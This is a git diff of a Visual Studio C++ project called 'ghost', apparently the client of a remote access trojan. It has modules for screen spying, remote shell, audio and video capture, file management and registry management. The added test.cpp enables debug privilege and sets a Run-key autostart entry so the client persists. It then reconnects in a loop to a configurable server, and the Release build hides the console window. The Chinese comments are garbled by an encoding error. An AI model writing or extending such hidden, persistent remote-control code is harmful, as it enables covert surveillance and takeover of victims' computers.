</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -42,15 +43,19 @@
|
|||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<IntDir>$(Configuration)\ghost</IntDir>
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
@@ -60,6 +65,9 @@
|
|||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
<EntryPointSymbol>
|
||||||
|
</EntryPointSymbol>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -69,7 +77,7 @@
|
|||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
<AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
@@ -79,6 +87,8 @@
|
|||||||
<OptimizeReferences>true</OptimizeReferences>
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -88,7 +98,6 @@
|
|||||||
<ClCompile Include="CaptureVideo.cpp" />
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="CursorInfor.cpp" />
|
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
@@ -111,7 +120,7 @@
|
|||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
<ClInclude Include="CursorInfor.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
|||||||
@@ -33,9 +33,6 @@
|
|||||||
<ClCompile Include="Common.cpp">
|
<ClCompile Include="Common.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="CursorInfor.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="FileManager.cpp">
|
<ClCompile Include="FileManager.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
@@ -98,9 +95,6 @@
|
|||||||
<ClInclude Include="Common.h">
|
<ClInclude Include="Common.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
<ClInclude Include="CursorInfor.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="FileManager.h">
|
<ClInclude Include="FileManager.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
@@ -158,6 +152,9 @@
|
|||||||
<ClInclude Include="zlib.h">
|
<ClInclude Include="zlib.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="CursorInfo.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc">
|
<ResourceCompile Include="Script.rc">
|
||||||
|
|||||||
@@ -2,10 +2,10 @@
|
|||||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
<LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
<LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
</Project>
|
</Project>
|
||||||
161
client/ghost_vs2015.vcxproj
Normal file
@@ -0,0 +1,161 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||||
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
|
<ProjectName>ghost</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>false</UseOfMfc>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
<EntryPointSymbol>
|
||||||
|
</EntryPointSymbol>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="Common.cpp" />
|
||||||
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\commands.h" />
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CursorInfo.h" />
|
||||||
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
<ClInclude Include="LoginServer.h" />
|
||||||
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="RegisterManager.h" />
|
||||||
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="VideoCodec.h" />
|
||||||
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico" />
|
||||||
|
<Image Include="Res\msg.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
205
client/test.cpp
@@ -1,53 +1,208 @@
|
|||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
#include <corecrt_io.h>
|
||||||
|
#include "common/commands.h"
|
||||||
|
|
||||||
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
|
#define REG_NAME "a_ghost"
|
||||||
|
|
||||||
typedef void (*StopRun)();
|
typedef void (*StopRun)();
|
||||||
|
|
||||||
typedef bool (*IsStoped)();
|
typedef bool (*IsStoped)();
|
||||||
|
|
||||||
|
typedef BOOL (*IsExit)();
|
||||||
|
|
||||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
StopRun stop = NULL;
|
StopRun stop = NULL;
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
IsStoped bStop = NULL;
|
IsStoped bStop = NULL;
|
||||||
|
|
||||||
struct CONNECT_ADDRESS
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||||
{
|
IsExit bExit = NULL;
|
||||||
DWORD dwFlag;
|
|
||||||
char szServerIP[MAX_PATH];
|
|
||||||
int iPort;
|
|
||||||
}g_ConnectAddress={0x1234567,"",0};
|
|
||||||
|
|
||||||
int main()
|
BOOL status = 0;
|
||||||
|
|
||||||
|
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "", 0, CLIENT_TYPE_DLL };
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
void DebugPrivilege()
|
||||||
{
|
{
|
||||||
char path[_MAX_PATH], *p = path;
|
HANDLE hToken = NULL;
|
||||||
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
||||||
|
|
||||||
|
if( hRet)
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||||
|
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||||
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||||
|
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||||
|
{
|
||||||
|
DebugPrivilege();
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||||
|
|
||||||
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
if(lRet != ERROR_SUCCESS)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
return lRet == ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CALLBACK callback(DWORD CtrlType)
|
||||||
|
{
|
||||||
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||||
|
{
|
||||||
|
status = 1;
|
||||||
|
if(stop) stop();
|
||||||
|
while(1==status)
|
||||||
|
Sleep(20);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||||
|
BOOL Run(const char* argv1, int argv2);
|
||||||
|
|
||||||
|
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||||
|
// [settings]
|
||||||
|
// localIp=XXX
|
||||||
|
// ghost=6688
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||||
|
int main(int argc, const char *argv[])
|
||||||
|
{
|
||||||
|
if(!SetSelfStart(argv[0], REG_NAME))
|
||||||
|
{
|
||||||
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
|
}
|
||||||
|
status = 0;
|
||||||
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
|
|
||||||
|
do {
|
||||||
|
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||||
|
if (ret == 1) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} while (status == 0);
|
||||||
|
|
||||||
|
status = 0;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
